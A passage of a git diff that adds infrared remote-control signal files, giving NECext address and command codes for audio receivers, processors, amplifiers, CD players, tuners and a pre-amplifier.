00 +command: 02 00 00 00 +# +name: ZONE_2_MUTE_TOG. +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 03 00 00 00 +# +name: ZONE_2_MUTE_ON +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 04 00 00 00 +# +name: ZONE_2_MUTE_OFF +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 05 00 00 00 +# +name: ZONE_2_CD +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 06 00 00 00 +# +name: ZONE_2_DVD +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 07 00 00 00 +# +name: ZONE_2_SAT +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 08 00 00 00 +# +name: ZONE_2_AV +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 09 00 00 00 +# +name: ZONE_2_TAPE +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0A 00 00 00 +# +name: ZONE_2_VCR +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0B 00 00 00 +# +name: ZONE_2_DVR +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0C 00 00 00 +# +name: ZONE_2_AUX +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0D 00 00 00 +# +name: ZONE_2_NET +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 13 00 00 00 +# +name: ZONE_3_VOL._UP +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 14 00 00 00 +# +name: ZONE_3_VOL._DOWN +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 15 00 00 00 +# +name: ZONE_3_MUTE +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 16 00 00 00 +# +name: ZONE_3_MUTE_ON +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 17 00 00 00 +# +name: ZONE_3_MUTE_OFF +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 18 00 00 00 +# +name: ZONE_3_POWER_ON +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 79 00 00 00 +# +name: ZONE_3_POWER_OFF +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7A 00 00 00 +# +name: ZONE_2_PWR_ON +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7B 00 00 00 +# +name: ZONE_2_PWR_OFF +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Processor/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Processor/16,-1.ir new file mode 100644 index 000000000..ddbb120b1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Processor/16,-1.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT:_SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: INPUT:_AV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: INPUT:_TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: INPUT:_VCR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: INPUT:_AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: INPUT:_MULTI-CHANNEL +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: DIRECT_(TOGGLE) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: POWER_(TOGGLE) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE_(TOGGLE) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: MODES_(TOGGLE) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1C 00 00 00 +# +name: THX_MODES +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: TRIM_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: LIP_SYNC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 32 00 00 00 +# +name: SUB_TRIM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 33 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 37 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3B 00 00 00 +# +name: EFFECTS:_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3F 00 00 00 +# +name: EFFECTS:_MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 40 00 00 00 +# +name: EFFECTS:_PARTY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 41 00 00 00 +# +name: EFFECTS:_CLUB +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 42 00 00 00 +# +name: EFFECTS:_HALL +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 43 00 00 00 +# +name: EFFECTS:_SPORT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 44 00 00 00 +# +name: EFFECTS:_CHURCH +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 45 00 00 00 +# +name: EFFECTS_(TOGGLE) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 48 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 49 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4A 00 00 00 +# +name: PRESET_4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4B 00 00 00 +# +name: PRESET_5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4C 00 00 00 +# +name: DIRECT_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4E 00 00 00 +# +name: DIRECT_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: MONO_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6A 00 00 00 +# +name: STEREO_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: DOLBY_PL2_MOVIE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6C 00 00 00 +# +name: DOLBY_PL2_MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6D 00 00 00 +# +name: DOLBY_PROLOGIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6E 00 00 00 +# +name: DTS_NEO_6_CINEMA +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6F 00 00 00 +# +name: DTS_NEO_6_MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 70 00 00 00 +# +name: THX_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 71 00 00 00 +# +name: THX_CINEMA +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 72 00 00 00 +# +name: THX_ULTRA2_CINEMA +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 73 00 00 00 +# +name: THX_MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 74 00 00 00 +# +name: THX_SURROUND_EX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 75 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 77 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 78 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7B 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir new file mode 100644 index 000000000..1c5beede9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir @@ -0,0 +1,362 @@ +Filetype: IR signals file +Version: 1 +# +name: SELECT_SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: SELECT_AV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: SELECT_TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: SELECT_DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: SELECT_TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: SELECT_VCR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: SELECT_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: SELECT_AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: SELECT_MULTI-CHANNEL +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: DIRECT_ONOFF_TGL_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: SELECT_NET +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0B 00 00 00 +# +name: STAND_BY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: TREBLE_CON._MENU_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: CYCLE_ASPECT_RAT_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: FOLLOW_ZONE_1_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: STORE_PRE_X_(TUN_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1C 00 00 00 +# +name: ROOM_EQ_ON/OFF_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1E 00 00 00 +# +name: CYCLE_DECODE_MD_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: SELECT_DVR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: SPEAKER_TRIM_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: BASS_CON._MENU_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 27 00 00 00 +# +name: FAVORITE_UP_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 29 00 00 00 +# +name: FAVORITE_DOWN_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2A 00 00 00 +# +name: HOME_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2B 00 00 00 +# +name: BASS_INCREMENT_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2C 00 00 00 +# +name: BASS_DECREMENT_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2D 00 00 00 +# +name: TREBLE_INCREMENT_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2E 00 00 00 +# +name: CYCLE_OUTPUT_RES_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 30 00 00 00 +# +name: RANDOM_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 30 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 31 00 00 00 +# +name: REPEAT_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 31 00 00 00 +# +name: LIPSYNC_CONT_MEN_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 32 00 00 00 +# +name: SUB_CONTROL_MENU_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 33 00 00 00 +# +name: SELECT_AM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 34 00 00 00 +# +name: SELECT_FM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 36 00 00 00 +# +name: TRACK_FORWARD_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: TRACK_BACKWARD_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 39 00 00 00 +# +name: DISPLAY_BRIGHT_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3B 00 00 00 +# +name: DOLBY_VOL._ON/OF_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: SELECT_SIRIUS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 48 00 00 00 +# +name: DISCRETE_DIR_ON_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4E 00 00 00 +# +name: DISCRETE_DIR_OFF_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4F 00 00 00 +# +name: NAVIGATE_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: NAVIGATE_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: MENU_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: NAVIGATE_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: NAVIGATE_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: ZONE_TOGGLE_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5F 00 00 00 +# +name: TREBLE_DECREMENT_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 62 00 00 00 +# +name: LIPSYNC_+_BY_1MS_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 64 00 00 00 +# +name: LIPSYNC_-_BY_1MS_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 65 00 00 00 +# +name: SUB_DECREMENT_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 68 00 00 00 +# +name: SUB_INCREMENT_-_R +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 69 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 78 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7B 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir new file mode 100644 index 000000000..c92ea7044 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: NUMBER_0_(TUNER)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: NUMBER_1_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: NUMBER_1_(TUNER)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: NUMBER_2_(TUNER)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: NUMBER_3_(TUNER)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: NUMBER_4_(TUNER)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: NUMBER_5_(TUNER)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: NUMBER_6_(TUNER)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: NUMBER_7_(TUNER)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: NUMBER_8_(TUNER)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: NUMBER_9_(TUNER)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: PRE/SIRIUS_+_(T)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: PRE/SIRIUS_-_(T)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: PAGE_DOWN_(TUNE)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: PAGE_UP_(TUNER)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: DELETE_PRESET_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: BAND_(TUNER)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: TUNING_+_RIGHT_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4D 00 00 00 +# +name: TUNING_-_LEFT_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4E 00 00 00 +# +name: PRESET_DOWN_(TUN_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 55 00 00 00 +# +name: PRESET_UP_(TUNE)_-_R +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir new file mode 100644 index 000000000..418880999 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: ZONE_2_VOL._UP_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 01 00 00 00 +# +name: ZONE_2_VOL._DOWN_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 02 00 00 00 +# +name: ZONE_2_MUTE_TOG._-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 03 00 00 00 +# +name: ZONE_2_MUTE_ON_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 04 00 00 00 +# +name: ZONE_2_MUTE_OFF_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 05 00 00 00 +# +name: ZONE_2_CD-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 06 00 00 00 +# +name: ZONE_2_DVD_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 07 00 00 00 +# +name: ZONE_2_SAT +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 08 00 00 00 +# +name: ZONE_2_AV_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 09 00 00 00 +# +name: ZONE_2_TAPE_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0A 00 00 00 +# +name: ZONE_2_VCR_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0B 00 00 00 +# +name: ZONE_2_DVR_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0C 00 00 00 +# +name: ZONE_2_AUX_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0D 00 00 00 +# +name: ZONE_2_FM_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0E 00 00 00 +# +name: ZONE_2_AM_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0F 00 00 00 +# +name: ZONE_2_SIRIUS_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 10 00 00 00 +# +name: ZONE_2_NET_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 13 00 00 00 +# +name: ZONE_3_VOL._UP_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 14 00 00 00 +# +name: ZONE_3_VOL._DOWN_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 15 00 00 00 +# +name: ZONE_3_MUTE_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 16 00 00 00 +# +name: ZONE_3_MUTE_ON_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 17 00 00 00 +# +name: ZONE_3_MUTE_OFF_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 18 00 00 00 +# +name: ZONE_3_POWER_ON_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 79 00 00 00 +# +name: ZONE_3_POWER_OFF_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7A 00 00 00 +# +name: ZONE_2_PWR_ON_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7B 00 00 00 +# +name: ZONE_2_PWR_OFF_-_R +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir new file mode 100644 index 000000000..57c616441 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: AMP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0D 00 00 00 +# +name: CD_SEARCH_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: TUNER_SEARCH_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: CD_SEARCH_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: TUNER_SEARCH_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: LISTEN_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3C 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3C 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3C 00 00 00 +# +name: LISTEN_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir new file mode 100644 index 000000000..5596e5633 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0D 00 00 00 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: SEACH_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3C 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir new file mode 100644 index 000000000..2b87daa27 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: SEARCH_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3C 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir new file mode 100644 index 000000000..8d1e84386 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir @@ -0,0 +1,494 @@ +Filetype: IR signals file +Version: 1 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: DISPLAY_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: DISPLAY_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: POWER_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: POWER_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: CD_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: CD_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: TUNER_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: TUNER_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: VIDEO_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: VIDEO_1_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: VIDEO_1_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: PHONO_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: PHONO_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: AUX_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: AUX_1_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: AUX_1_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: AUX_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: AUX_2_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: AUX_2_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: MONITOR_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: MONITOR_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: GAIN_A +type: parsed 